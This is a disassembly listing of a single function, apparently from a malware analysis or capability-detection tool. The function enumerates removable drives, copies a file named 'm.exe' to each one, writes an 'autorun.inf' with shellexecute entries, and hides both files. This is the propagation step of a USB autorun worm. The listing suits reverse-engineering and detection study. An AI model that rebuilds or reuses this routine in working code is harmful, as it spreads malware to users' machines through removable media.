Function at 0x10004855
Capabilities:
Get disk information
Set file attributes

Disassembly:
mov eax, 0x1001426b
call fcn.10013750
push ecx
sub esp, 0x1cc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x40]
push eax
call fcn.1000e4a5
pop ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x148]
push eax
push 0
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x20]
call fcn.10003472
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x150], eax
push dword [ebp - 0x150]
lea ecx, [ebp - 0x30]
call fcn.100092bb
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x15c], eax
push dword [ebp - 0x15c]
lea ecx, [ebp - 0xa0]
call fcn.100092bb
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x164]
neg eax
sbb eax, eax
inc eax
movzx eax, al
neg eax
sbb eax, eax
inc eax
movzx eax, al
test eax, eax
je 0x10004a47
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x30]
call fcn.100014ff
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x184]
call fcn.10009d0f
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jne 0x100049c4
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x30]
call fcn.100014ff
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x18c], eax
mov byte [ebp - 4], 3
push 0x1001e464
mov ecx, dword [ebp - 0x18c]
call fcn.10009d0f
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xb4], al
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc0]
call fcn.10009e47
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x100049c4
mov dword [ebp - 0x190], 1
jmp 0x100049cb
and dword [ebp - 0x190], 0
mov al, byte [ebp - 0x190]
mov byte [ebp - 0xa4], al
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xb0]
call fcn.10009e47
movzx eax, byte [ebp - 0xa4]
test eax, eax
je 0x10004a33
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x30]
call fcn.100014ff
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x198], eax
mov byte [ebp - 4], 4
push dword [ebp - 0x198]
lea ecx, [ebp - 0x20]
call fcn.10008c2b
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xcc]
call fcn.10009e47
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x30]
call fcn.100092d1
jmp 0x100048c7
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x168], eax
push dword [ebp - 0x168]
lea ecx, [ebp - 0x44]
call fcn.100092bb
push str.f0012
lea ecx, [ebp - 0xdc]
call fcn.10009909
mov byte [ebp - 4], 5
push 0x100161d8
lea ecx, [ebp - 0xe8]
call fcn.10009909
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0xdc]
push eax
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x2c]
push eax
call fcn.10009ecd
add esp, 0xc
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xe8]
call fcn.10009e47
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xdc]
call fcn.10009e47
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x174], eax
push dword [ebp - 0x174]
lea ecx, [ebp - 0xec]
call fcn.100092bb
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x17c]
neg eax
sbb eax, eax
inc eax
movzx eax, al
neg eax
sbb eax, eax
inc eax
movzx eax, al
test eax, eax
je 0x10004e74
push str.m.exe
lea ecx, [ebp - 0xf8]
call fcn.10009909
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x44]
call fcn.100014ff
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x1a8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 0x1a8]
lea eax, [ebp - 0x5c]
push eax
call fcn.10009ecd
add esp, 0xc
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x104]
call fcn.10009e47
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xf8]
call fcn.10009e47
push str.autorun.inf
lea ecx, [ebp - 0x110]
call fcn.10009909
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x44]
call fcn.100014ff
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1b0], eax
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x1b0]
lea eax, [ebp - 0x50]
push eax
call fcn.10009ecd
add esp, 0xc
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x11c]
call fcn.10009e47
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x110]
call fcn.10009e47
lea eax, [ebp - 0x5c]
push eax
call fcn.1000ee50
pop ecx
movzx eax, al
test eax, eax
jne 0x10004e48
mov byte [ebp - 4], 0x14
cmp dword [ebp + 8], 0
je 0x10004e2e
cmp dword [ebp + 0xc], 0
je 0x10004e2e
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x70]
call fcn.1000999f
and dword [ebp - 0x64], 0
mov byte [ebp - 4], 0x15
push 0
push 2
push 0
lea ecx, [ebp - 0x70]
call fcn.1000e8f8
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0x70]
call fcn.1000ea99
lea ecx, [ebp - 0x2c]
call fcn.10009e25
mov dword [ebp - 0x1b4], eax
lea ecx, [ebp - 0x2c]
call fcn.10009cdf
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1b4]
inc eax
push eax
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x70]
call fcn.1000ea99
lea ecx, [ebp - 0x70]
call fcn.1000eb13
lea ecx, [ebp - 0x5c]
call fcn.10009d0f
mov dword [ebp - 0x1bc], eax
push 2
push dword [ebp - 0x1bc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x60], eax
push str.__s_r_nActionAutorun_r_n
lea ecx, [ebp - 0x128]
call fcn.10009909
mov dword [ebp - 0x1c0], eax
mov byte [ebp - 4], 0x16
push str._AutoRun__r_nshellexecute
lea ecx, [ebp - 0x134]
call fcn.10009909
mov dword [ebp - 0x1c4], eax
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10009ecd
add esp, 0xc
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1cc], eax
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x7c]
push eax
call fcn.10009ecd
add esp, 0xc
mov dword [ebp - 0x1d0], eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x140]
call fcn.10009e47
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x134]
call fcn.10009e47
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x128]
call fcn.10009e47
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x8c]
call fcn.1000999f
and dword [ebp - 0x80], 0
mov byte [ebp - 4], 0x1d
push 0
push 2
push 0
lea ecx, [ebp - 0x8c]
call fcn.1000e8f8
lea ecx, [ebp - 0x7c]
call fcn.10009e25
mov dword [ebp - 0x1d4], eax
lea ecx, [ebp - 0x7c]
call fcn.10009cdf
mov dword [ebp - 0x1d8], eax
push dword [ebp - 0x1d4]
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x8c]
call fcn.1000ea99
lea ecx, [ebp - 0x8c]
call fcn.1000eb13
lea ecx, [ebp - 0x50]
call fcn.10009d0f
mov dword [ebp - 0x1dc], eax
push 2
push dword [ebp - 0x1dc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x8c]
call fcn.1000eefc
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x7c]
call fcn.10009e47
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x70]
call fcn.1000eefc
jmp 0x10004e41
mov dword [ebp - 4], 0x12
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x44]
call fcn.100092d1
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x50]
call fcn.10009e47
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x5c]
call fcn.10009e47
jmp 0x10004ae9
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.10009e47
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100033c7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.100033c7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret